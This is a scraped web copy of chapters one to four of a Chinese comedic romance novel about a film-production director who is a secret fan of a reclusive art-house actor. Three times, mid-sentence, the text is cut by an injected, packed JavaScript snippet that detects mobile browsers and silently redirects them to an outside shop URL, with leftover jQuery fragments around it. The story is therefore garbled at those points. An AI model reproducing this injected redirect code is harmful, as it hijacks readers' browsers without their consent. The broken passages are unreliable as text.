《就知道你是梦男》 1. 第 1 章 文艺感难,文艺片不好拍,文艺演员不好出头。 花多少时间,投入多少期望,做着一鸣惊人的美梦,最后只是导演折戟,编剧败北,演员铩羽,观众大失所望。 不被骂烂片就已经出类拔萃,要让观众拍案叫绝,简直难如登天。 所以要拍,就拍电视剧,尤其是偶像剧。 木哀梨入行时,身边人都这样说。 舅舅更是表示可以投资几个顶级制作的商业片,让他过足瘾,只要他别一头扎进文艺片,最后屡屡受挫,损了心气。 木哀梨一句也没听。 出乎意料却又合乎情理的是,这个亘古不变的定律在他身上不起作用。 木哀梨可以说是文艺片导演梦寐以求的存在。 和其他氛围感大于长相的文艺片演员不同,他长相稠丽,是名副其实的美人,又兼有一副薄弱多病的身躯,给他精致的面孔染上一层病气,只是站在那里,便有一股数百年前黑死病泛滥时期的糜烂腐败气息,这种气息往往让导演们趋之若鹜。 杂志说,哪怕你看不懂他的戏,随便哪个画面截个图,滤镜都不用调,一种灿烂而凄凉的愁绪就浮泛在眼睛里。 十七岁踏入影视行业,展露头角就拿下最佳新人奖,十九岁横扫国内各大奖项,二十一岁提名威尼斯金狮奖,不幸落败,两年后带着新作品《井》重返欧洲,一举拿下柏林金熊奖,名噪一时。 多少对文艺片无感,觉得文艺片枯燥乏味、无病呻吟的路人都为此走进影院,《井》的票房更是创下了国内文艺片票房新高。 和他完美到不可复刻的过往履历一样引人注意的是他堪称放荡的感情经历。 不仅是同性恋,还极其滥情,出道八年,谈过的对象两只手都数不过来。 幸运的是,他一出道就是非单身,从不隐瞒情感状态,没有女友粉吻上来,也不存在塌房脱粉回踩。 而且他谈的大多是圈内名气不大的艺人,撕不过他的粉丝。 每场恋情顶多三个月,分手之后综艺、杂志、时尚资源从不吝啬,除了不给剧本,只推荐去试戏,凭本事决定去留,其他资源一通砸下来,再糊的咖也能让观众记住。 时间久了,甚至有小糊咖的粉丝喊话:哥你出卖出卖色相跟木哀梨谈一段呗! 然后被路人踩:多大脸啊? 时至今日,他放荡的情史已经成了各大娱乐博主的流量密码,网友们对他公开的前任津津乐道,如数家珍。 有人拉表比对各个幸运儿吃了一波资源后发展得如何,并对小火一把后恢复销声匿迹的糊咖表示恨铁不成钢。 而对于木哀梨本人,网友们的态度各有不同。 有人觉得他是娱乐圈毒瘤,不务正业,荼毒圈内艺人; 也有人说他是娱乐圈质监员,多少人立男友人设又守不住下本身,经他手原形毕露,木哀梨护住了众多识人不清的女友粉钱包,也算是积德行善; 更多的戏称木哀梨为娱乐圈挖掘机,原因是他谈的每一个都又糊又帅。 但其实对于木哀梨而言,他挑人的首要标准并不是帅,更不是糊,而是好甩。 一直以来驾轻就熟,只是这次略有失手。 房间内光线昏暗,氛围灯瀑洒暧昧的暖黄色,倚靠在床头的长发男人只披了条白色缎光睡袍,腰带掐紧窄腰,长腿从睡袍延伸出来半曲起,右手夹着一支细烟。 他撩起眼皮,平淡道:“以后不用来了。” 冷言冷语薄情而决绝,传递到床尾的男人耳中,那人刚从浴室出来,头发还滴着水,登时抓着床上人的脚踝。 “木哀梨,你什么意思。” “字面意思。” 木哀梨轻轻点了下床头的烟灰缸,两三点火光抖落下来。 “为什么?” “腻了。” 木哀梨的多情和无情人尽皆知,但男人总自信得令人惊叹,总觉得自己有能力让浪子回头。 “我们谈三个月,每次上床都是这个破——这个贵得要死的酒店,你家里我都还没去过,你就腻了。” 木哀梨很白,是病态的白,比西方人还白,暖光照下来,没把他照黄半分,乌黑长发披在肩头,衬得他仿佛一块冷玉。 “张导那部综艺去年收视不错,今年还有个固定主持的位子,我把你微信发给他了,等消息吧。” 男人眸光微动,旋即又眉心紧锁,半蹲下来,仰视床上的人,“我不图这些,你拿多少资源打发我也没用,我不同意分手。” 木哀梨轻笑:“分手?” 男人脸上乍青乍白。 木哀梨不躲狗仔,他的感情状况拍到了就是有,长时间没拍到就是没有,网友一贯这样认为,但木哀梨从来没有正经发过微博说他在谈恋爱,只是他太坦荡,坦荡得没有人怀疑,坦荡得所有人都忘了正常分手不需要给分手费。 #木哀梨分手 潮浪新闻:木哀梨前任深夜买醉,据悉已和平分手。 词条冲上热搜时,周新水正坐在会议室里,百无聊赖。 不方便摸鱼,就只能不断开关手机,锁屏上弹出娱乐新闻,眨眼而过,但木哀梨三个字过于吸引眼球。 周新水瞟了眼台上滔滔不绝的张总,隐秘地点开了新闻。 新闻写得很啰嗦,但周新水确定,标题不是噱头,木哀梨真的分手了。 部门里有两个女同事拿木哀梨谈恋爱的时间打赌,一个赌超过三个月,一个赌三个月以内,赌注是一个月的周报告。 她们两个人中有一个会高兴,但周新水想,不会比他更高兴。 木哀梨每次分手,都会有半年左右的空窗期。 他长居在海市,新闻里提到的酒店在海市,意味着目前他还在海市。 而周新水也在海市。 海市夏天多骤雨,突如其来,猝不及防,把人浇得比高考成绩跳出来时心还凉。 也就意味着,或许某一天,下班路上,他打着伞,忽然看见一个落魄的男人站在书店外面,隔着厚重的雨幕,那张惊心动魄的面庞美得他心跳失序,脚步粘在原地,走不动路。 男人望过来,冷而清的目光穿过雨帘,周新水绅士地提步上前,询问:“你好,需要帮助吗?” 男人越过他,瞥见雨势不减,捋了一把长发,轻轻启唇…… “周总监?” “好。” 张总:“啊?” 同事们齐刷刷放下手机,投来数道目光,如有实体,难以忽视。 周新水:“……” 张总敲敲桌子,道:“剧本最后还是要交到你们制作部,周总监有什么想法?” 好在事先准备充足,周新水翻开文件,侃侃而谈,仿佛刚才当众出神甚至呢喃出声的人与他没有丝毫关系。 三个剧本,两个电视剧,一个文艺电影。 开发部门的意思是这个电影本子虽然不错,但毕竟文艺电影票房不高,拿不到奖就打水漂。 但是,文艺片票房不高的同时投入也小,即使入不敷出也亏不了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17123035|195988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多少,不如以小博大。 以及耀星影业目前还没有拿过奖的制作,这个本子很有潜力,要是能一举夺魁,日后的制作无论是电影还是电视剧,拉投资、过审都轻松不少。 周新水有条不紊,力排众议。 张总目带欣赏,做主留下了这个剧本。 散会后,他让周新水留下。 好在张总宽厚,并没有追究得力下属带头开会摸鱼的事情,和颜悦色地提到耀星监制的某部剧上个月播出结束,已经结算,奖金打到他卡上了。 那是周新水跟着张总跳槽来耀星影业后负责的第一部剧,原本签得有制片,结果拉不到投资,那人赔了违约金,跑去接其他剧本。 周新水临危受命,顶上去救场,才让这剧顺利拍完。 A级制作播出了S级效果,想来奖金很是丰厚。 周新水露出恰到好处的、真诚的笑容,却见张总也笑眯眯看着自己,对方热络地拢着他的肩,并排走:“我这儿有个孩子要来实习,刚念大学,你经验丰富,年纪也不大,帮我带带?” 张总对他有知遇之恩,周新水当然不会拒绝。 奖金到账的短信十分喜人,他数了下零,直接打开淘宝,从已购中点进木哀梨杂志的购买页,输入数量,付款,退出来后看见已售额某位数字跳了下。 这本杂志首发在前天,当时周新水就卡点买过一批,目前还在算入艺人销量的时间。 他微博大号有七十万粉,刚把付款截图发出去,便有不少点赞和一连串的“让我把手伸进你的钱包暖暖吧哥”。 有能力的人往往有股傲气,进而滋生轻视,不好说话,但周新水能力可见一斑的同时,脾气还好,放在整个公司都是少之又少的存在。 部门里很多人对他都有一种近乎依赖的情绪。 袁雨灵给向姐打杂,负责一部古偶剧的策划案,拿着初稿来找周新水过目。 周新水给她提了几点优化建议,望部门里看了眼,“我让新来的实习生到你们组去,你觉得如何?” 袁雨灵说没问题,周新水就给向姐也发了信息,发完见一个穿着黑色卫衣的青年从部门出来,说自己叫谭子濯。 “我手里暂时没项目,你先跟着雨灵做,有什么问题问雨灵或者问我都行。” 谭子濯把话听进心里去了,压低声音神神秘秘问:“哥,你是木哀梨粉丝啊?” 周新水微怔,旋即浅笑着,谭子濯指了指他的办公室:“我看见你桌上放着木哀梨的Q版不织布挂件。” 部门总监有独立办公室,但由透明玻璃隔断,从里往外看,或从外往里看,都一览无余。 那挂件限量售卖,很少流通,又是木哀梨长发女装版,带来公司谁也没认出来。 被认出来,周新水也只能颔首承认,谭子濯笑着说:“木哀梨梦男真是多啊。” “梦男?”袁雨灵诧异,“周哥怎么会是梦男,他跟嫂子可恩爱了。” 周哥哪都好,就是一提起嫂子,好端端的总监秒变恋爱脑话痨,听得她耳朵都起茧子了。 听到周新水已经有爱人,谭子濯也面带惊讶,看向周新水。 周新水神色淡定,“既然提到你嫂子了,那我……” “咳咳,我吃饭,周哥,小谭,你们聊!” 袁雨灵脚底抹油溜了。 部门内几个慢悠悠收东西的霎时间闻风丧胆,一股脑冲出去,边跑边解释,有抽烟的,有放水的,有痔疮犯了的。 谭子濯:“他们这是?” 2. 第 2 章 “他们摸鱼,不用管。”周新水把人带进部门,随手拉开一个滑轮椅,坐下后示意谭子濯也坐,一副要促膝长谈的架势,“你还是大学生吧?谈过恋爱吗?” 谭子濯说没有,又挠头嘀咕咱公司福利这么好。 周新水喜欢没谈过恋爱的同事,因为这样他才方便放肆胡诌。谈过恋爱的比他有经验,和这些人聊他都得收敛着来,免得被看破。 他和煦地浅笑着,给人值得信赖的错觉,信手拈来:“你没谈过不知道,人谈了对象后,总是有很旺盛的分享欲,单身的把这称之为秀恩爱,还诅咒别人秀分快,其实就是嫉妒。” “虽然我跟我对象认识十年了,这分享欲还一点也没少。” “十年?” 周新水就爱看这些人没见识的样子,面上不显山不露水,好似稀疏平常,“是啊,我跟他初中就认识了。那会我虽然长得高,但瘦得跟玉米一样,又不喜欢讲话,考试的时候捂着卷子不给吊尾车抄,结果被学校里的大哥提溜出去教训。” “拳头比西瓜大,一点不夸张。他就这样施施然路过,眉毛一拧,嘴唇轻轻抿起,整个人薄薄的一片,神色也并不威厉,但校霸们就是不敢吱声。” 这开头有些老套,但人设还算稀奇,谭子濯追问:“他安慰你,然后你早恋了?” “当然没有。”周新水低头,声音里荡漾着回味,“他嗔怒骂我,个子都白长了!长那么高,再练点肌肉,打他们几个绰绰有余。然后又施施然走了。” 这倒是有些新意,但谭子濯咂摸着,有些不对味,“哥,你是M啊?” “……”,实习生一语惊人,周新水难得沉默,“那倒也不是。” “我回去之后痛定思痛,觉得他说得在理,开始健身,不到半年,就成了新的校霸。” 周新水的身材一看就不容小觑,谭子濯刚见到人时就发现了。 “……那嫂子?” 似乎有哪里不对,有个主角消失了。 “嫂……对,你嫂子他高中的时候就半工半读,高中毕业之后离开了京市,后面好几年我都没再见到他。” “嫂子家里条件不好?” 木哀梨家里条件算不好的话,世界上就没有富人了,若非如此,他身子那么单薄,不可能一眼就把那些仗着家世不错在学校称王称霸的富二代学生镇住。 但是,周新水如实道:“他父母很早就去世了。” 谭子濯抱以同情:“那哥你可要对嫂子好点。” “肯定的。” 破碎的家庭,漏雨的地下室,满地的蟑螂,哪怕谭子濯熟读网文,对这一经典戏码还是百读不倦,他兴趣横生。 “然后呢?你们什么时候在一起的?” 面前的办公桌上有一盆水培植物,透明的玻璃缸,漂浮着细小的杂质,有些似乎在游动,像是孑孓。 周新水微笑,然后就没有然后了。 但他从不止于此,按照木哀梨现在的不同情况,给每个同事编纂了不同发展的故事版本。 “后来有一天,在城西那家书店,你知道城西书店吗?有点偏,但环境很不错。” 谭子濯点头。 “那天下雨,他站在书店门口躲雨,天雾蒙蒙的,我一抬头就看见他。雨水从檐角坠下来,把我和他划成两个世界,但我清楚地看见他穿了一件咖色短款风衣,肩膀很薄,腰带束起一把细伶伶的腰,头发又黑又长,微微拂动,然后抬眸看向我。” “他很漂亮,你懂吗?” 有点熟悉。 薄薄的肩膀,细细的腰,黑长直的头发,这审美一股封建味。 谭子濯抬头看见周新水那洋溢着幸福的眼睛莫名透出一种“你敢懂就完了”的威慑。 男人是这样,谭子濯自己也是男人,知道那种对爱人的占有欲,于是懂事地摇头,“我不懂。” 周新水收敛了蔓延的威压,用过来人的语气怅惘道:“你还年轻,不懂也正常。” 谭子濯摸摸后脑勺,“再然后呢?你们什么时候在一起的?” 刚才开会只想到这里,还因此出了丑,新剧本暂时没有后文。 周新水默了两秒,跟讲贯口相声一样,一气呵成地烂尾了。 “经过一顿爱恨纠缠你来我往恨海情天破镜重圆,终于,我们相爱了。” 久等的破镜重圆就这样被略过,谭子濯拍案而起,如同看到烂尾小说的读者一样愤慨,但他好歹还记得面前人是他实习期的上司,又灰溜溜地擦擦桌子以示歉意,鞠躬坐下。 他不死心地小声说:“这剧本怎么虎头蛇尾的。” 讲自己的感情经历跟说书一样,听起来像剧本看多得了后遗症,也不知道能不能报工伤。 周新水叹了一声,这年轻人。 谭子濯还是好奇破镜重圆,是一个人追回另一个人,或是什么巧合机缘撮合了两人。 他没有谈过恋爱,对爱情萌芽的理解除了一见钟情就是日久生情,而破了的镜如何复原更是只知道各种狗血,车祸坠机。 胃口被吊起,上不来也下不去,急得谭子濯胡言乱语,“哥,那个,有时间带嫂子出来约个饭吗?” 嫂子总不能也藏着掖着吧。 周新水霎时凝神看他。 谭子濯当即举起双手,腹稿都不用打,“我实习这段时间就要多麻烦哥,可能会连累哥加班什么的,我请嫂子吃顿饭,表达下歉意,占了哥时间。” 周新水这才收敛了暗带锋芒的眸光,沉默片刻。 他委婉拒绝:“你嫂子他最近跟我闹了点矛盾。” 谭子濯:“可你看着一点也不急。” 说完才觉得这话冒昧,双手合十连声道歉。 周新水微微一笑,表示不在意,“那是因为……你嫂子给我发消息,我觉得有和好的迹象。” 谭子濯拉着椅子靠近,“什么情况?” 周新水第一次体会到被赶鸭子上架,说话已经不过脑子,纯靠编:“之前你嫂子有个朋友,他俩关系不错,我觉得不合适,闹了点别扭,他刚发消息来说已经跟那个朋友断绝关系了,虽然那个朋友还在纠缠他,但他态度很坚决。” “那个朋友是男的?” “嗯。” 男朋友也是朋友,分手不就是断绝关系,虽然没给他发消息,但社媒给他推送了啊。 谭子濯一脸严肃:“那确实不合适。不过哥,既然嫂子已经表态,你也别太放在心上。嫂子一看跟那男的就没什么特别关心,不然怎么会这么轻易就断绝关系了?” “咱大男人不能在这事情上斤斤计较,嫂子都主动给台阶了,哥你可别犯糊涂,这时候彰显什么狗屁的家主权威。” “网上有句话是怎么说的,嫂子向你走九十九步,你一步都不肯走的话,那最后一步嫂子也不会走了。” 谭子濯讲得头头是道,神色正经,像是感情经验丰富,堪为人师,一时间周新水都愣住,觉得颇有几分道理,这年轻人看得真透彻。 一直到下班,周新水都还惦记着。 木哀梨都分手了。 可不就是向他走来九十九步。 木哀梨多金贵,走九十九步多累人。 从电梯出来,又碰见谭子濯,对方鼓励地跟他碰了碰拳,周新水干脆一脚油门开车到城西书店。 木哀梨在城西书店被拍到好几次,就在影视艺术书籍那一个角落。 有一张照片是晚上临近闭店拍的,昏暗的室内,木哀梨翻着一本绒黑封皮的书,头低垂着,灯光孱弱,从他的发丝漏进米白书页。 最后这张照片被周新水高价买断。 周新水每次来城西书店都会在影视艺术那块周围坐着。 最初他也在木哀梨站过的地方徘徊,拿着书假模假样翻动,时不时侧头偷看一下,然后暧昧地笑,假装自己身边是木哀梨,两个人在不能高声喧哗的地方低声窃窃。 时间长了,总碰不到木哀梨,他不免怀疑是自己站在那里太大一个占了位置,木哀梨才不来,后面就只在旁边坐着。 一直在书店坐到九点半,书店熄了一半灯,暗示顾客已经到闭店时间,周新水留恋地在店内转了一圈,买了本爱情小说走。 说不遗憾是假的,只是次数多了,也就没那么浓烈。 缘分天定,可能还是缘分没到。 回家已经是十点过,他自己做饭。 周新水很小就学会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17123036|195988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做饭,只不过家里没人觉得这是一件值得夸奖的事情,心里念着木哀梨,福至心灵,回头一看。 木哀梨随性地半倚在厨房滑轨门上,双手抱臂,送来懒散的一瞥,“真棒。” 轻飘飘的、羽毛似的话语挠得周新水浑身骨头都酥麻了。 他春风得意,捧着手机想看看木哀梨有没有发微博。 没有。 周新水习惯性划了几下,很快忘了自己上微博的本意。 微博广场不知道被谁买了黑水,一个劲嘲木哀梨两年没进组,要么图穷匕见,要么被金主抛弃,评论区脏得简直没眼看。 心口窜起一股火,周新水忍着怒意挨个查主页,发现好几个营销号都发过同样两个人的红稿。 一个出道时打着小木哀梨的名号被群嘲,竟然还让他吃到了一波流量,活跃到了现在,一个刚播了新剧,有冒头的趋势,同期上了另一家时尚刊物的封面。 粉丝群里也在猜测是这两个人中的谁下黑水。 周新水翻了几页聊天记录,没有定论,但又没办法忍气吞声,干脆全部扫射,一个也不放过。 啃口梨:我女奖项拿到手软,给某些糊咖两年时间你也追不上啊,不中用的东西,知道你眼红了,花钱买我女黑稿,不如去报个演技班。 啃口梨:想起来了,不会是没钱报班吧[惊恐]唉那没办法了。你怎么知道我女今年过生的时候才被拍到一辆限量版玛莎拉蒂京牌88888? 啃口梨:算了也别报班了,年前晚会海市戏剧学院的教授才夸了我女,还说要聘请他到学校兼任教师,万一一开课发现讲台上站的是我女,某些人不得气到直接被救护车拉去医院。免费的虐粉送你了[手掌] 周新水面上风平浪静,其实手指快把屏幕戳烂了,发完三条内涵微博才稍微舒心点。 这时候同担已经涌入他的微博。 -啃哥攻击值拉满了 -猫猫潜心学习,等好剧本,冲刺金狮,到底怎么就碍着他们了[白眼] -有些人红倒是不红,纯爱蹭 -模糊的照片,清晰的实力 -家猫自降身价在娱乐圈待太久以至于大家都忘了他姓木 周新水挨个点赞,慢慢冷静下来。 虽然黑稿说话难听,但也侧面反映出一个事实。 木哀梨已经两年没有进组了。 可是那又怎么了?演员对剧本有要求难道不应该吗?木哀梨年少成名,实绩拉表一屏幕都放不下,他挑点怎么了? 多敬业啊。 还是脾气太好。 周新水咬牙切齿。 冷静不了一点。 木哀梨在等一个好剧本。 才给了黑粉蹬鼻子上脸的机会。 但是,周新水脸上浮现出会心的喜悦。 他手上不就有一个剧本很合适吗? 周新水几乎是跑着回到书房。 房子是租的两室一厅,其中一个卧室被他改造成书房,架子上全是他买的木哀梨周边,杂志居多,已经填满了书房,不知道重新租个更大的房子和直接租个小仓库哪个更划算。 “您好,我是耀星影业制作总监周新水,贸然联系,还请见谅。” 周新水打了个开头,酝酿许久,斟酌着往下打字。 “耀星目前有一个电影项目,主角与贵公司的艺人木哀梨气质极其符合,说是量身定做也不为过……项目的目标是冲刺奖项,与木哀梨先生的发展规划一致,不知道贵公司是否有意向了解一二?附件是项目简介和部分剧本,请过目。” 鼠标移动到发送按钮上,却没能顺利按下,周新水反复审视,呢喃: “透露出知道木哀梨的发展规划,会不会显得我图谋不轨?” 他正要修改,又改口:“可我既然有心与他合作,事先了解一点,才显得我有诚意不是。” 脑子里似乎有两个小人争锋相对,三言两语之下,不知不觉之中,周新水竟然又产生了熟悉的畏葸情绪,悬而不决。 突然厨房叮呤哐啷好几声,原还在沉思的周新水惊醒,食指一抖。 发送成功的弹窗触目惊心。 “坏了……我没关火!” 3. 第 3 章 厨房没大事,只是蒸饭的锅烧穿了,锅盖跳起来砸碎了一个瓷碗。 他小时候跟奶奶在农村吃柴火饭,尤其喜欢吃锅巴,久了便觉得电饭煲煮的饭太没劲,独立出来后一直是自己蒸米饭。一时没看住,就出了这样的岔子。 周新水收拾好厨房,没有饭,就新下了碗面,和着先前炒的鱼香肉丝吃。 吃饭的时候他买了个新锅,领完券后二十九块九。 该省省,该花花。 邮件既然已经发出去,周新水便也不打算撤回,就当是上天注定,只是吃饭的时候心心念念,连面都没味了,吃着吃着就上小号又发了条微博。 鲜榨棠梨:原来暗恋是一个人的兵荒马乱。 洗碗的时候看见柜子里的调味品,突然意识到原来他没放盐。 项目立项后,周新水就要负责敲定制片人,再由制片人联系、组织团队。 许多制片人先在影视公司就业,稍有经验和名气后便独立出来,与其他影视公司签订单一项目的合作合同。 制片人的话语权说大不大,说小不小,上面的不放在眼里,下面的看不起,但同为打工人,周新水每一步都不能懈怠,把耀星合作过的、没合作过但近几年成绩不错的制片人的资料都看了一遍,按照风格确定了几个人选。 要是木哀梨工作室愿意接触那个剧本,周新水就申请自己担任制片人。 可惜发出去的邮件一直没有回复,周新水隔几个小时就看一眼,每次都失望地叉掉。 他盯着电脑屏幕,目光幽怨,袁雨灵推门而入:“总监,张总说要制片人名单。” “马上。” 周新水嘴上说着马上,背地里却磨蹭许久,临近下班才把名单递上去。 名单交上去,次日就要开会确定最终人选,随后项目从他手里过渡给制片人,而制片人不一定会中意木哀梨。 下班也不能让他高兴分毫,同事笑他怎么下班还跟个苦瓜似的。 周新水应付地笑笑,到了晚上,辗转反侧,难以入睡,打开邮件。 收件箱一个醒目红点,亮眼的红色瞬间将他好不容易酝酿出来的零星半点困意都驱散。 他坐直了起来,用力点进去,内容弹出来的一刹那,他几乎哀嚎出来。 对方回复说不合适。 哪里不合适了? 哪里不合适了? 周新水幽怨地想,这些工作人员肯定压根不了解木哀梨,他们懂什么? 他们知道木哀梨是怎么踏入娱乐圈的吗?知道木哀梨是第一部片子在什么地方拍的吗?知道木哀梨接本子的原则吗? 他们什么都不知道。 泄愤一般,周新水戳着木哀梨工作室的邮件号码。 这些人根本没有把木哀梨放在心上,容忍那些跳脚虾辱骂造谣,毫无称职。 现在还拒绝他的邀约,罪加一等。 木哀梨没有签经纪公司,第一部戏出道便组建了自己的工作室。 工作室很佛系,从来不买通稿,也不管粉丝死活。 要不是木哀梨家境不错,有点门路的营销号知道内情,不敢随便黑他,只能拿木哀梨不放在心上的感情说事,不知道木哀梨在营销号口中会变成什么样。 一时情急,他直接联系了跳槽前的一个同事,要了木哀梨经纪人万凝雪的微信号。 “万姐好,我是耀星影业制作总监周新水,我们公司手头有一个电影剧本,主角和木先生气质相符,非常期待木先生出演,万姐能否在考虑考虑?” 他和不少大咖的经纪人接洽过,早已经游刃有余,很久没有像现在这样忐忑。 这种忐忑并非来自于和一个一线艺人的经纪人联系,而在于木哀梨,在于和木哀梨产生联系。 他时常幻想和木哀梨亲昵,却总在回避可能和木哀梨产生的实际接触,每次去城西书店,这种运气好到极点才有可能碰见木哀梨的地方,都事出有因,不是被刺激,就是被鼓动。 没在书店碰到木哀梨,他感到遗憾的同时,又有种松了口气的如释重负感。 这种情绪太复杂,周新水自己说不清。 惶惶中又夹杂着兴奋。 他真的要加木哀梨的经纪人了。 说不定还能在万凝雪的朋友圈看见木哀梨的私照。 周新水忍不住点开万凝雪的朋友圈,只看到一条杠,面无表情回到申请页面,等着通过,结果一眼扫到错别字。 “……” 他把手机丢到一边,心里惴惴。 也不知道万凝雪看见错别字会不会怀疑他工作态度不端,进而拒绝他的邀约。 更甚者,这个时间太叨扰,惹人心烦,把他拒了。 手机叮的一声。 万凝雪同意好友申请了。 万凝雪给他发消息了。 周新水手掌挡着屏幕,徐徐下移。 万凝雪说:不好意思周总监,您发来的剧本我已经看过,的确是很优秀的本子,我们也很看好。只不过哀梨他已经演出不少病弱角色,现在期望出演更丰富的人设冲击奖项。期待有机会合作[握手] 周新水眼前一黑,手机滑落,砸到他鸟上,疼得他倒吸一口冷气,忍痛把手机捡回来,屏幕上的话一个字也没变。 他往后一躺,捂着鸟,大字瘫在床上。 淡淡的忧伤弥散在空气中,周新水没忍住翻身埋脸进枕头。 他由衷觉得这个剧本很好,很适合木哀梨。 合适到他看见拒绝的回信时,甚至怀疑他们究竟是拒绝剧本还是拒绝他。 他不想多愁善感,那和他一个成熟稳重的成年人形象不符,但是,有时候情非得已,情绪上来了,他也控制不住。 他打开微博小号,打字: 如果我们相遇,那一定是个雨天。 虽然他对外表现得成熟稳重,但是,周新水往后一躺,他也是文艺逼来着。 之前播出的那部剧好评如潮,被观众夸奖画面和剧情的文艺感很重,悄无声息流露出来的伤感配上忧郁bgm在网上狠狠火了一把。 其实是周新水拿到账单差点顺不过气,花大价钱把演员运到西北实景拍摄,导演竟然只拍几个镜头,最后被周新水要求拍了一系列空镜。 至于剧情,毫无底线把剧情改得矫揉造作的编剧被周新水压着大改特改,不然这剧空有壳子,也翻不出浪花。 但无论如何,简而言之,总之。 周新水心想,他真是个文艺逼。 情绪上来,睡不着觉,他只能起床跑了会步,洗个冷水澡,看时间已经很晚,才躺下准备刷会微博助眠。 右下角的99+红点。 周新水心中萌生出不太美妙的预感,点进主页。 啃口梨:如果我们相遇,那一定是个雨天。 -你果然是梦男 -啥意思啊俺老猪没看懂 -西湖的水啃哥的泪,雨好大啊像啃哥找他梦角求爱那天一样大,啃哥大喊对啦我就是笨蛋才会喜欢你那么久,房顶被风刮飞了,自己挑一个吧 -我就知道,你果然是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17123037|195988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梦男 -老实交代吧,想着木哀梨的色情片打了多少次飞机 周新水心底嗡的一声,坐起来和同担对线。 啃口梨:不是梦男[愤怒] 啃口梨:请对事业粉放尊重一点,ok? 啃口梨:听到您将木哀梨的电影称作色情片,我心里一咯噔。那是艺术,是时尚,是历史的回音,是现代的伤痛,请不要用粗俗的色情二字简单概括好吗? 啃口梨:别用你们充满黄色废料的肮脏大脑臆想别人,我和我女是感天动地父女情。 周新水对线到凌晨两点,转头一看私信发现自己被同担投到梦男厕,气血上涌一头扎进床上,再睁眼就是第二天。 昨天把名单交上去,今天开会确定人选。 周新水顶着黑眼圈,捏着一叠资料,在会议室门口徘徊。 谭子濯从张总办公室出来,“欸”了一声,“哥你怎么不进去?” 周新水正要解释里面太闷,待会再进。 谭子濯抢先开口:“哥你跟嫂子那事儿还没解决呢?” 周新水下意识瞎扯:“是啊,你看我这大黑眼圈,一晚上没让我进门。” 谭子濯循循善诱:“那嫂子是有些过分了。不过姑娘家有点脾气也正常,都是家里宠着长大的,没道理跟了你就得受委屈是吧?” “理是这个理,但把我关在屋外拒绝我一晚上我也难受,我心也是肉做的。” “哥你看你这态度就不够端正,嫂子愿意把你关在屋外说明心里还有你,不然嫂子怎么不关那个男性朋友?” 周新水点头:“你说得在理。” “你不高兴嫂子跟那个朋友走得太近,嫂子就跟他断绝了往来,要我说嫂子这是相当把你放在心上,你却犹犹豫豫,怀疑嫂子真心,多叫人心寒呐!” 周新水恍然大悟一般:“是这样吗?那我实在有错,简直该打,回去我一定好好哄着,绝不让他对我失望。” 谭子濯欣慰:“就得这样,把态度端正了,只是表面功夫,心里不服气,那迟早要火葬场。” “什么火葬场?” 还有他不知道的,浪还是冲少了。 谭子濯露出微妙的笑容:“殡仪馆知道吧?跟那没关系。” 周新水嘴角抽了抽,转头问:“张总还不知道我跟爱人这两天的矛盾吧?” 张总听得青筋直跳,这都说些乱七八糟的,这两分钟简直是他人生中最难熬的十分钟,真想抱着头大喊师傅别念了,听周新水转移目标到他身上,更是警铃大作,一脚踹上谭子濯小腿,把人踹得一趔趄。 “停!回去干活。”张总扭头喊周新水,“进去开会。” 开会没什么不同,张总让开发部和制作部的员工谈谈对各个人选的看法。 名单是周新水交上去的,怎么定他都无所谓,只是有些小失落。 唉,少男心事。 他刷着朋友圈摸鱼,退出去发现有人刚发了朋友圈,刷新一下看见曾经合作过的一个摄影师发了条文字:下午拍木哀梨,激动得我快要拿不稳相机了! 周新水愣了两秒,听见张总喊他:“没问题的话就这样定下来,之后周总监去联系制片人,有档期就直接签约,周总监?” 周总监脑子一热:“我有问题。” “什么?” “《换乘》那个项目,我想亲自跟。” 会议室内缄默一瞬。 张总问:“你是有什么想法吗?” 众目睽睽之下,周新水说:“我想要木哀梨。” 4. 第 4 章 海市天气多变,上午还相当炎热,下午开车到半途就下起雨。很急的一场雨,突如其来,砸得周新水耳膜混着雨点鼓噪个不停。 摄影棚在一栋写字楼里,他赶时间,直接把车停在了室外,淋着雨冲进门。 他淋雨无所谓,但剧本不能有伤,进门第一件事先检查剧本,好在他出门前套了一个蓝色文件夹,剧本毫发无损。 只是没想到这么短的一截路,居然把他的衬衫淋了个半湿,玻璃球一样的雨珠砸在身上,尤其是胸口,半明半暗,贴在肌肉上,显得他跟下海演员一样。 还是纯天然的湿身造型。 万一木哀梨见了他仪容不整觉得他作风散漫态度不严肃又把他拒了。 周新水心底泛起愁绪。 没愁几秒摄影师朋友把他带上楼,低声交代:“Gaze主编要求很严,刚还在讨论构图,我只能出来这么一会儿。” 